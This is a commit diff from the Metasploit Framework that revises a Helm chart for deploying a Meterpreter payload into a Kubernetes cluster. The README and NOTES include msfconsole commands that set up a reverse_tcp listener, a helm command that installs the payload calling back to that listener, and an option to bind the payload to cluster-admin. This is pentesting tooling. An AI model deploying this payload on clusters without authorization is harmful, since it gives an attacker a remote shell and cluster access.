Skip to content

Commit ee093d0

Browse files
committed
Meterpreter Helm chart tweaks
1 parent 8d7d25e commit ee093d0

File tree

8 files changed

+62
-70
lines changed

8 files changed

+62
-70
lines changed

Diff for: kubernetes/.gitignore

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
metasploit/charts
22
metasploit.yaml
3-
meterpreter.yaml
3+
meterpreter.yaml

Diff for: kubernetes/Makefile

+6-9
Original file line numberDiff line numberDiff line change
@@ -1,26 +1,23 @@
1-
#
2-
#
3-
#
41
.SECONDARY:
52
.SECONDEXPANSION:
63

74
lint-charts: ##@Lint Lint Helm Chart
8-
helm lint meterpreter
5+
helm lint meterpreter
96

107
generate-deployment: ##@Generate Generate YAML based deployment
11-
helm template meterpreter meterpreter --set lport="4444" --set lhost="1.1.1.1" > meterpreter.yaml
8+
helm template meterpreter meterpreter --set lport="4444" --set lhost="1.1.1.1" > meterpreter.yaml
129

1310
install-meterpreter: ##@meterpreter Install meterpreter chart
1411
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter
1512

16-
delete-meterpreter: ##@meterpreter Delete meterpreter chart
17-
helm -n metasploit delete meterpreter
13+
delete-meterpreter: ##@meterpreter Delete meterpreter chart
14+
helm -n metasploit delete meterpreter
1815

1916

20-
create-kind-cluster: ##@Test create KIND cluster
17+
create-kind-cluster: ##@Test create kind cluster
2118
kind create cluster --image kindest/node:v1.18.2 --name metasploit
2219

23-
delete-kind-cluster: ##@Test delete KIND cluster
20+
delete-kind-cluster: ##@Test delete kind cluster
2421
kind delete cluster --name metasploit
2522

2623

Diff for: kubernetes/README.md

+29-38
Original file line numberDiff line numberDiff line change
@@ -1,46 +1,37 @@
1+
# Metasploit in Kubernetes
12

2-
# Running Metasploit Framework Against Kubernetes
3-
4-
Running metasploit framework against Kubernetes enables pentesters to security test cluster components such as the API Server, as well as internal application components or micro-services.
5-
6-
The installation chart (meterpreter) also offers to install & run a metasploit payload, that connects back to metasploit console.
7-
The payload can be deployed with different priviliges and permissions with respect to Kubernetes node hosting metasploit payload, as well as Kubernetes API server itself - see 'priviliges' section under values.yaml
8-
9-
```yaml
10-
priviliges:
11-
# Disable Kubernetes API Server Access - even to the discovery APIs
12-
useServiceAccount: true
13-
# Run metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective)
14-
bindClusterRole: "" #cluster-admin
15-
16-
#
17-
# Priviliges related to node hosting metasploit Pod
18-
# See: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
19-
podSecurityContext: {}
20-
# fsGroup: 2000
21-
# Metasploit container security context
22-
securityContext: {}
23-
#allowPrivilegeEscalation: false
24-
# capabilities:
25-
# add:
26-
# - NET_BIND_SERVICE
27-
# drop:
28-
# - all
29-
#runAsNonRoot: true
30-
#runAsUser: 1000
31-
#runAsGroup: 1000
32-
```
3+
The most common workflow to test a Kubernetes environment with Metasploit is to target the Kubernetes API externally,
4+
or through a compromised container - both of these workflows are currently supported directly within msfconsole.
5+
6+
An alternative to compromising a Kubernetes container to gain a Meterpreter session is to install the `meterpreter` helm chart into
7+
a Kubernetes environment directly. This newly opened Meterpreter session will act as the pivot point for running additional
8+
Metasploit modules, similar to the behavior of compromising an existing Kubernetes container with msfconsole.
339

34-
# Installation
10+
## Installation
3511

36-
1. Make sure helm (version 3 or above) is [installed](https://helm.sh/docs/intro/install/)
37-
2. Make sure you have an available Kubernetes cluster to deploy metasploit. You can install a local Kubernetes cluster using [KIND](https://kind.sigs.k8s.io/docs/user/quick-start/#installation)
38-
> You can create local KIND cluster by running `make create-kind-cluster`
12+
To install the Metasploit resources in to your Kubernetes environment:
13+
14+
1. Make sure [Helm](https://helm.sh/) (version 3 or above) is [installed](https://helm.sh/docs/intro/install/)
15+
2. Make sure you have an available Kubernetes cluster to deploy Metasploit. You can install a local Kubernetes cluster using [kind](https://kind.sigs.k8s.io/docs/user/quick-start/#installation)
16+
You can create local kind cluster by running `make create-kind-cluster`
17+
2. A penester should create a Metasploit listener from msfconsole:
18+
```
19+
use payload/linux/x64/meterpreter/reverse_tcp
20+
set LHOST x.x.x.x
21+
set LPORT 4444
22+
to_handler
23+
```
3924

4025
3. Install meterpreter helm chart by running:
4126

4227
```sh
43-
export MSF_PORT="<routeable port from inside cluster>"
44-
export MSF_IPADDRESS="<routeable ip from inside cluster>"
45-
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lport=$MSF_PORT --set lhost=$MSF_IPADDRESS
28+
export LHOST="x.x.x.x"
29+
export LPORT="4444"
30+
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lhost=$LHOST --set lport=$LPORT
4631
```
32+
4. If the listener from step 3 was created, ensure you now have a Meterpreter session in msfconsole
33+
34+
## Privileges
35+
36+
The Meterpreter container can be deployed with different privileges and permissions - see the `privileges` section within
37+
[./meterpreter/values.yaml](values.yaml) for more details.

Diff for: kubernetes/meterpreter/Chart.yaml

+1-4
Original file line numberDiff line numberDiff line change
@@ -10,9 +10,6 @@ keywords:
1010
- pentest
1111
- penetration testing
1212
home: https://www.metasploit.com/
13-
icon: https://www.metasploit.com/includes/images/metasploit-r7-logo.svg
13+
icon: https://www.metasploit.com/includes/images/metasploit-og.png
1414
sources:
1515
- https://github.com/rapid7/metasploit-framework
16-
maintainers:
17-
18-
name: Metasploit Hackers

Diff for: kubernetes/meterpreter/templates/NOTES.txt

+8-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,8 @@
1-
Make sure meterpreter connected to your Metasploit Receive Handler running at {{ .Values.lhost}}:{{.Values.lport}}
1+
Make sure meterpreter connected to your Metasploit listener running at {{ .Values.lhost }}:{{ .Values.lport }}
2+
3+
You can create a Metasploit listener with:
4+
5+
use payload/linux/x64/meterpreter/reverse_tcp
6+
set LHOST {{ .Values.lhost }}
7+
set LPORT {{ .Values.lport }}
8+
to_handler

Diff for: kubernetes/meterpreter/templates/deployment.yaml

+7-7
Original file line numberDiff line numberDiff line change
@@ -18,17 +18,17 @@ spec:
1818
imagePullSecrets:
1919
{{- toYaml . | nindent 8 }}
2020
{{- end }}
21-
{{- if .Values.priviliges.useServiceAccount }}
21+
{{- if .Values.privileges.useServiceAccount }}
2222
serviceAccountName: {{ include "meterpreter.fullname" . }}
2323
{{ else }}
2424
automountServiceAccountToken: false
2525
{{ end }}
2626
securityContext:
27-
{{- toYaml .Values.priviliges.podSecurityContext | nindent 8 }}
27+
{{- toYaml .Values.privileges.podSecurityContext | nindent 8 }}
2828
initContainers:
2929
- name: msfvenome
3030
image: "{{ .Values.image.repository}}:{{ .Values.image.tag }}"
31-
imagePullPolicy: {{ .Values.image.pullPolicy }}
31+
imagePullPolicy: {{ .Values.image.pullPolicy }}
3232
command: ["/bin/bash", "-c", "/tmp/meterpreter.sh"]
3333
env:
3434
- name: LHOST
@@ -41,23 +41,23 @@ spec:
4141
- name: msfvenome
4242
mountPath: /tmp/meterpreter.sh
4343
subPath: meterpreter.sh
44-
44+
4545
containers:
4646
- name: {{ .Chart.Name }}
4747
image: gcr.io/google_containers/pause-amd64:3.0
48-
imagePullPolicy: {{ .Values.image.pullPolicy }}
48+
imagePullPolicy: {{ .Values.image.pullPolicy }}
4949
command: ["/meterpreter/meterpreter"]
5050
tty: true
5151
stdin: true
5252
securityContext:
53-
{{- toYaml .Values.priviliges.securityContext | nindent 12 }}
53+
{{- toYaml .Values.privileges.securityContext | nindent 12 }}
5454

5555
resources:
5656
{{- toYaml .Values.resources | nindent 12 }}
5757
volumeMounts:
5858
- name: meterpreter
5959
mountPath: /meterpreter
60-
60+
6161
restartPolicy: Always
6262
volumes:
6363
- name: meterpreter

Diff for: kubernetes/meterpreter/templates/rbac.yaml

+3-3
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
{{- if .Values.priviliges.useServiceAccount -}}
1+
{{- if .Values.privileges.useServiceAccount -}}
22
apiVersion: v1
33
kind: ServiceAccount
44
metadata:
@@ -7,7 +7,7 @@ metadata:
77
{{- include "meterpreter.labels" . | nindent 4 }}
88

99
---
10-
{{- if ne .Values.priviliges.bindClusterRole "" -}}
10+
{{- if ne .Values.privileges.bindClusterRole "" -}}
1111
apiVersion: rbac.authorization.k8s.io/v1
1212
kind: RoleBinding
1313
metadata:
@@ -17,7 +17,7 @@ metadata:
1717
roleRef:
1818
apiGroup: rbac.authorization.k8s.io
1919
kind: ClusterRole
20-
name: {{ .Values.priviliges.bindClusterRole }}
20+
name: {{ .Values.privileges.bindClusterRole }}
2121
subjects:
2222
- kind: ServiceAccount
2323
name: {{ include "meterpreter.fullname" . }}

Diff for: kubernetes/meterpreter/values.yaml

+7-7
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
# Default values for meterpreter.
22

33
#The IP Address the payload will connect to
4-
lhost:
4+
lhost:
55
#The Port meterpreter will connect to
6-
lport:
6+
lport:
77

88
image:
99
repository: metasploitframework/metasploit-framework
@@ -14,15 +14,15 @@ imagePullSecrets: []
1414
nameOverride: ""
1515
fullnameOverride: ""
1616

17-
# Tune the priviliges your Kubernetes meterpreter will run with
18-
priviliges:
17+
# Tune the privileges your Kubernetes meterpreter will run with
18+
privileges:
1919
# Disable Kubernetes API Server Access - even to the discovery APIs
2020
useServiceAccount: true
21-
# Run metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective)
22-
bindClusterRole: "" #cluster-admin
21+
# Run Metasploit framework as Kubernetes cluster admin (useServiceAccount must be true for this setting to be effective)
22+
bindClusterRole: "" #cluster-admin
2323

2424
#
25-
# Priviliges related to node hosting metasploit Pod
25+
# Privileges related to node hosting metasploit Pod
2626
# See: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
2727
podSecurityContext: {}
2828
# fsGroup: 2000

0 commit comments

Comments
 (0)